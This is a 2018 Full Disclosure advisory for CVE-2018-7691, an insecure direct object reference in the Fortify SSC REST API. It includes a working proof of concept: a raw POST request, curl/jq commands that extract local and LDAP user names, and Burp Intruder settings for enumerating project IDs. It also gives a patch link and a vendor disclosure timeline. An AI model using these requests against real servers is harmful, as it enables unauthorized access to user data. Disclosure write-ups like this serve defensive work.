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Date: Fri, 14 Dec 2018 10:28:40 +0000
From: alt3kx via Fulldisclosure <fulldisclosure@...lists.org>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] CVE-2018-7691 | The SSC REST API contains Insecure Direct
	Object Reference (IDOR) vulnerabilities

Details
================
Software: Fortify SSC (Software Security Center)
Version: 17.10, 17.20 & 18.10
Homepage: [https://www.microfocus.com](https://www.microfocus.com/)
Advisory report: https://github.com/alt3kx/CVE-2018-7691
CVE: CVE-2018-7691 at https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7691
CVSS: 6.5 (Medium; AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
CWE-639

Description
================
REST API contains Insecure direct object references (IDOR) allowing and extracting arbitrary details of the Local and LDAP users via POST method

Vulnerability
================
Fortify SSC (Software Security Center) 17.10, does not properly check ownership of "authEntities", which allows remote authenticated (view-only) users
to read arbitrary details via API bulk parameter to /api/v1/projectVersions/{NUMBER}/authEntities

Note: View-only Role, is a restricted role, can view results, but cannot interfere with the issue triage or the remediation process.

Proof of concept
================

Pre-requisites:

- Curl command deployed (Windows or Linux)
- jq command deployed (for parsing JSON fields), (Windows or Linux)
- Burpsuite Free/Por deployed or any other Proxy to catch/send the request (optional)

Step (1): LogOn into fortifyserver.com SSC (Software Security Center) 17.10 with your view-only role (restricted),

The URL normally is avaiable as following:

Target: https://fortifyserver.com/ssc/#/

Step (2): Once logged extract the Cookie field, the format normally as following: "Cookie: JSESSIONID=69B1DBD72FCA8DB57C08B01655A07414;"
Step (3): Start BurpSuite Free/Pro or any other HTTP proxy (optional) listen port 8080 as default

Step (4): The offending POST is:

POST /ssc/api/v1/bulk HTTP/1.1
Host: fortifyserver.com
Connection: close
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=69B1DBD72FCA8DB57C08B01655A07414;
Content-Length: 123

{"requests":[{"uri":"[https://fortifyserver.com/ssc/api/v1/projectVersions/3/authEntities","httpVerb":"GET"}]}\x0d\x0a](https://fortifyserver.com/ssc/api/v1/projectVersions/3/authEntities%22,%22httpVerb%22:%22GET%22%7D]%7D/x0d/x0a)

Step (5): Test the first POST (to be included the cookie session) request and parsing the JSON data received using curl and jq commands as following:

# curl -s -k -X POST https://fortifyserver.com/ssc/api/v1/bulk

-H "Host: fortifyserver.com"
-H "Connection: close"
-H "Accept: application/json, text/plain, */*"
-H "X-Requested-With: XMLHttpRequest"
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36"
-H "Content-Type: application/json;charset=UTF-8"
-H "Accept-Encoding: gzip, deflate"
-H "Accept-Language: en-US,en;q=0.9"
-H "Cookie: JSESSIONID=69B1DBD72FCA8DB57C08B01655A07414;"
-b "JSESSIONID=69B1DBD72FCA8DB57C08B01655A07414;"
--data-binary "{\"requests\":[{\"uri\":\"[https://fortifyserver.com/ssc/api/v1/projectVersions/0/authEntities\",\"httpVerb\":\"GET\"}]}\x0d\x0a](https://fortifyserver.com/ssc/api/v1/projectVersions/0/authEntities/%22,/%22httpVerb/%22:/%22GET/%22%7D]%7D/x0d/x0a)"
--proxy [http://127.0.0.1:8080](http://127.0.0.1:8080/) | jq '.data[] .responses[] .body .responseCode'

You should see the following response:

200

Step (6): Now extract all local and LDAP users registered into Fortify SSC server:

Payload:  /api/v1/projectVersions/{NUMBER}/authEntities, see the field "--data-binary" below and change the number as following:

# curl -s -k -X POST https://fortifyserver.com/ssc/api/v1/bulk

-H "Host: fortifyserver.com"
-H "Connection: close"
-H "Accept: application/json, text/plain, */*"
-H "X-Requested-With: XMLHttpRequest"
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36"
-H "Content-Type: application/json;charset=UTF-8"
-H "Accept-Encoding: gzip, deflate"
-H "Accept-Language: en-US,en;q=0.9"
-H "Cookie: JSESSIONID=69B1DBD72FCA8DB57C08B01655A07414;"
-b "JSESSIONID=69B1DBD72FCA8DB57C08B01655A07414;"
--data-binary "{\"requests\":[{\"uri\":\"[https://fortifyserver.com/ssc/api/v1/projectVersions/3/authEntities\",\"httpVerb\":\"GET\"}]}\x0d\x0a](https://fortifyserver.com/ssc/api/v1/projectVersions/3/authEntities/%22,/%22httpVerb/%22:/%22GET/%22%7D]%7D/x0d/x0a)"
--proxy [http://127.0.0.1:8080](http://127.0.0.1:8080/) | jq '.data[] .responses[] .body .data[] .entityName'

You should see the following response with users available

"admin"
"sca"
"alex"

[../snip]

Step (7): Automate with BurpSuite Pro/Free choose:

Payload Positions: "Intruder Tab -> Positions" highlight as following:

-> /api/v1/projectVersions/§1§/authEntities

Payloads set: "Intruder Tab -> Payloads" with the following data:

-> Payload set: 1

-> Payload type: Numbers

Payload Options [Numbers]:

-> Type: Sequential

-> From: 0

-> To: 1500

-> Step: 1

Then start attack…
Have fun!

Have fun!

Mitigations
================
Install the latest patches availabe here:
https://softwaresupport.softwaregrp.com/doc/KM03298201

Disclosure policy
================
We believes in responsible disclosure.
Please contact us on Alex Hernandez aka alt3kx  (at) protonmail com to acknowledge this report.

This vulnerability will be published if we do not receive a response to this report with 10 days.

Timeline
================

2018-05-24: Discovered
2018-05-25: Retest PRO environment
2018-05-31: Vendor notification, two issues found
2018-05-31: Vendor feedback received
2018-06-01: Internal communication
2018-06-01: Vendor feedback, two issues are confirmed
2018-06-05: Vendor notification, new issue found
2018-06-06: Vendor feedback, evaluating High submission
2018-06-08: Vendor feedback, High issue is confirmed
2018-06-19: Researcher, reminder sent
2018-06-22: Vendor feedback, summary of CVEs handled as official way
2018-06-26: Vendor feedback, official Hotfix for High issue available to test
2018-06-29: Researcher feedback
2018-07-02: Researcher feedback
2018-07-04: Researcher feedback, Hotfix tested on QA environment
2018-07-05: Vendor feedback, fixes scheduled Aug/Sep 2018
2018-08-02: Reminder to vendor, feedback received OK!
2018-09-26: Reminder to vendor, feedback received OK!
2018-09-26: Fixes received from the vendor
2018-10-02: Internal QA environment failed, re-building researcher 's ecosystem
2018-10-11: Internal QA environment failed, re-building researcher 's ecosystem
2018-10-11: Feedback from the vendor, technical details provided to the researcher
2018-10-16: Fixes now tested on QA environment
2018-11-08: Reminder received from the vendor, feedback provided by researcher
2018-11-09: Re-rest fixes on QA environment
2018-11-15: Re-rest fixes on QA environment now with SSC 18.20 version deployed
2018-11-21: Researcher feedback
2018-11-23: Fixes working well/confirmed by researcher
2018-11-23: Vendor feedback, final details to disclosure the CVE and official fixes available for customers.
2018-11-26: Vendor feedback, CVE, and official fixes to be disclosure
2018-11-26: Agreements with the vendor to publish the CVE/Advisory.
2018-12-12: Public report

Discovered by:
Alex Hernandez aka alt3kx:
================
Please visit https://github.com/alt3kx for more information.

My current exploit list @exploit-db:
https://www.exploit-db.com/author/?a=1074 & https://www.exploit-db.com/author/?a=9576

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